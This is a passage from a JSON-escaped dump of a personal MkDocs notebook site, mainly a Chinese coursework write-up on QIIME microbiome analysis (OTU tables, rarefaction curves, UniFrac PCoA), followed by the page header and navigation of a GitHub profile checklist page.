WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"qiime\">生态数据处理，使用QIIME<a class=\"headerlink\" href=\"#qiime\" title=\"Permanent link\">&para;</a></h1>\n<h1 id=\"_1\">作业要求<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h1>\n<ol>\n<li>De-novo OTU picking以及OTU table的制作</li>\n<li>alpha多样性分析：优势种(&gt;5%/10%)的Relative Abundance分布图；Rarefaction Curve( Shannon, Simpson, Observed species)</li>\n<li>beta多样性分析： Unweighted/Weighted Unifrac PCoA分析</li>\n<li>群体性分析：NMDS分析&ndash;R\n   差异分析（Adonis，ANOSIM，MRPP）&ndash;R</li>\n</ol>\n<hr />\n<h1 id=\"obtaining-the-data\">获得数据 Obtaining the data<a class=\"headerlink\" href=\"#obtaining-the-data\" title=\"Permanent link\">&para;</a></h1>\n<p>从群共享下载到三个文件，简介：</p>\n<h2 id=\"bf_maptxt-510kb\">BF_Map.txt 5.10KB<a class=\"headerlink\" href=\"#bf_maptxt-510kb\" title=\"Permanent link\">&para;</a></h2>\n<p>这是对原始测序fna文件的描述，是原始数据</p>\n<p>|SampleID|BarcodeSequence|LinkerPrimerSequence|Treatment|Plate|Description|\n| --------   | -----:  | :----:  |\n|样本ID|用于区分样本的序列|测序时加上的序列|样本的处理，Control与Warming||描述，有TagA,TagB,TagC|</p>\n<h2 id=\"otu_table_ftxt-239mb\">otu_table_F.txt 23.9MB<a class=\"headerlink\" href=\"#otu_table_ftxt-239mb\" title=\"Permanent link\">&para;</a></h2>\n<p>OTU是在数量分类学方面作为对象的分类单位</p>\n<p>计算得出的OTU Table</p>\n<p>每行一个OTU，如果匹配到数据库上有微生物的物种分类数据，以及每个样本是否包含这个OTU&ndash;包含为1，不包含为0</p>\n<h2 id=\"otus_bfrar-367mb\">otus_BF.rar 36.7MB<a class=\"headerlink\" href=\"#otus_bfrar-367mb\" title=\"Permanent link\">&para;</a></h2>\n<p>内含otus_BF文件夹，为<strong>De novo OTU picking</strong>步骤的生成结果</p>\n<h1 id=\"otu-de-novo-otu-picking\">从头开始的OTU组装 De novo OTU picking<a class=\"headerlink\" href=\"#otu-de-novo-otu-picking\" title=\"Permanent link\">&para;</a></h1>\n<p>由于缺少原始文件，本步骤无法复现，运算结果为给出的otus_BF.rar</p>\n<p>此步骤生成了<strong>rep_set.tre</strong>，使用<strong>FigTree</strong>软件进行查看：</p>\n<p><img alt=\"\" src=\"http://api.chenyuan.me/fangcloud/4cf9ea4acb452aa8e0df0fe0fd\" /></p>\n<h2 id=\"otu-table\">查看产生的OTU Table<a class=\"headerlink\" href=\"#otu-table\" title=\"Permanent link\">&para;</a></h2>\n<p><a href=\"http://api.chenyuan.me/fangcloud/9c76ee31266efbf411e51c8388\">summarize.txt</a></p>\n<p>一共有50个样本，参照给出的原始BF_Map.txt（72个样本），\n发现其中的F.TagA.3C.12和F.TagA.3C.13的Count数太小可以忽略，比较两个文件发现<strong>ID为TagA的都没有出现在给出的OTU Table中</strong></p>\n<p>技术Point:用Excel比较两列相同元素http://jingyan.baidu.com/article/c843ea0b7a2a7477921e4a47.html</p>\n<h2 id=\"make-an-otu-network\">Make an OTU network<a class=\"headerlink\" href=\"#make-an-otu-network\" title=\"Permanent link\">&para;</a></h2>\n<p>人家说要用Cytoscape，有待研究</p>\n<p>生成的otu_network文件夹<a href=\"http://api.chenyuan.me/fangcloud/a8c63020d9a7d1426cf05a7a77\">戳这里下载</a></p>\n<h1 id=\"summarize-communities-by-taxonomic-composition\">物种分类统计 Summarize communities by taxonomic composition<a class=\"headerlink\" href=\"#summarize-communities-by-taxonomic-composition\" title=\"Permanent link\">&para;</a></h1>\n<p><a href=\"http://api.chenyuan.me/fangcloud/cff3d489af54eaea157838719c\">生成的taxa_summary文件夹,戳我下载</a></p>\n<blockquote>\n<p>这里是重点</p>\n</blockquote>\n<p>打开taxa_summary/taxa_summary_plots文件夹，里面有两个网页，</p>\n<p>网页打开后5张图，每张图的横坐标都是50个样本，从上到下分类阶元越来越细</p>\n<p>选择最高层次的这张bar图吧：</p>\n<p><img alt=\"\" src=\"http://api.chenyuan.me/fangcloud/312423426ec71e733de254fbfe\" /></p>\n<p>解压压缩包后打开网页，用鼠标抚摸这张图可以看到分类信息</p>\n<p>底下红色是最多的，是Other</p>\n<p>其次最多的看起来是上边的红色的，Proteobacteria</p>\n<h2 id=\"make-a-taxonomy-heatmap\">产生热图Make a taxonomy heatmap<a class=\"headerlink\" href=\"#make-a-taxonomy-heatmap\" title=\"Permanent link\">&para;</a></h2>\n<p><img alt=\"\" src=\"http://api.chenyuan.me/fangcloud/c8d28241ed373bd3901a2d848a\" /></p>\n<hr />\n<h1 id=\"alpha\">计算alpha多样性<a class=\"headerlink\" href=\"#alpha\" title=\"Permanent link\">&para;</a></h1>\n<p><a href=\"http://api.chenyuan.me/fangcloud/c07dc497e5679ca505967eb9a5\">生成的arare文件夹戳我下载</a></p>\n<p>alpha多样性的计算结果在arare/alpha_div_collated中，里面有</p>\n<ul>\n<li>shannon.txt</li>\n<li>simpson.txt</li>\n<li>observed_otus.txt 这就是PPT要求的Observed species</li>\n</ul>\n<p>每一列是一个样本</p>\n<p>每一行行是取样大小+迭代次数：</p>\n<blockquote>\n<p>rarefaction_##_#.txt: the first set of numbers represents the number of sequences sampled, and the last number represents the iteration number</p>\n</blockquote>\n<p>用不同的采样大小可以得到不同的数值，就可以画出下面这些图</p>\n<h2 id=\"alpha_1\">看alpha稀疏图<a class=\"headerlink\" href=\"#alpha_1\" title=\"Permanent link\">&para;</a></h2>\n<p>首先了解这是个什么东西 <a href=\"https://en.wikipedia.org/wiki/Rarefaction_(ecology)\">Wikipedia</a></p>\n<p><img alt=\"shannon.png\" src=\"http://api.chenyuan.me/fangcloud/f4be696682a9f7941f7f0afd64\" /></p>\n<p><img alt=\"simpson.png\" src=\"http://api.chenyuan.me/fangcloud/69404575b5438324d08f0dbc0f\" /></p>\n<p><img alt=\"observed_otus.png\" src=\"http://api.chenyuan.me/fangcloud/30bad21c580339cc18fb44a299\" /></p>\n<p>问题：如果使用Category:Treatment, 数据上很多NaN，看不出不同处理的显著性差异</p>\n<hr />\n<h1 id=\"beta-compute-beta-diversity-and-generate-ordination-plots\">计算beta多样性 Compute beta diversity and generate ordination plots<a class=\"headerlink\" href=\"#beta-compute-beta-diversity-and-generate-ordination-plots\" title=\"Permanent link\">&para;</a></h1>\n<p><a href=\"http://api.chenyuan.me/fangcloud/ba56a4a459ee7238a8af6c3d3b\">bdiv_even146.zip戳我下载</a></p>\n<h2 id=\"unweighted\">Unweighted<a class=\"headerlink\" href=\"#unweighted\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<p>红色Control\n蓝色Warming</p>\n</blockquote>\n<p><img alt=\"unweighted1.jpg\" src=\"http://api.chenyuan.me/fangcloud/8c4f7c22f6db3f0a54151c01e4\" /></p>\n<p><img alt=\"unweighted2.jpg\" src=\"http://api.chenyuan.me/fangcloud/95708ac65084d85de8a76e517c\" /></p>\n<p>Treatment上没有显著性区别</p>\n<p>那什么具有显著性区别呢？</p>\n<p>手工标上颜色：</p>\n<p>黄色 TagC_13\n绿色 TagB_13\n蓝色 TagC_12\n红色 TagB_12</p>\n<p><img alt=\"unweighted_my.jpg\" src=\"http://api.chenyuan.me/fangcloud/6ff9f674acdb65c53e1cf08021\" /></p>\n<p>发现<strong>样本最后的标号12与13才是最显著的区别来源</strong>！</p>\n<h2 id=\"weighted\">Weighted<a class=\"headerlink\" href=\"#weighted\" title=\"Permanent link\">&para;</a></h2>\n<p><img alt=\"weighted.jpg\" src=\"http://api.chenyuan.me/fangcloud/06dcc48950634f7915733ed093\" /></p>\n<p>同样在Treatment上没有显著性差异</p>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"../../..\", \"features\": [], \"search\": \"../../../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../../../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../../../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../../../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/doc/github/github_profile_checklist/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n      \n      <link rel=\"icon\" href=\"../../../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>Github 检查表 [求职向] - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../../../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../../../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"../../..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#github\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"../../..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              Github 检查表 [求职向]\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"../../..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      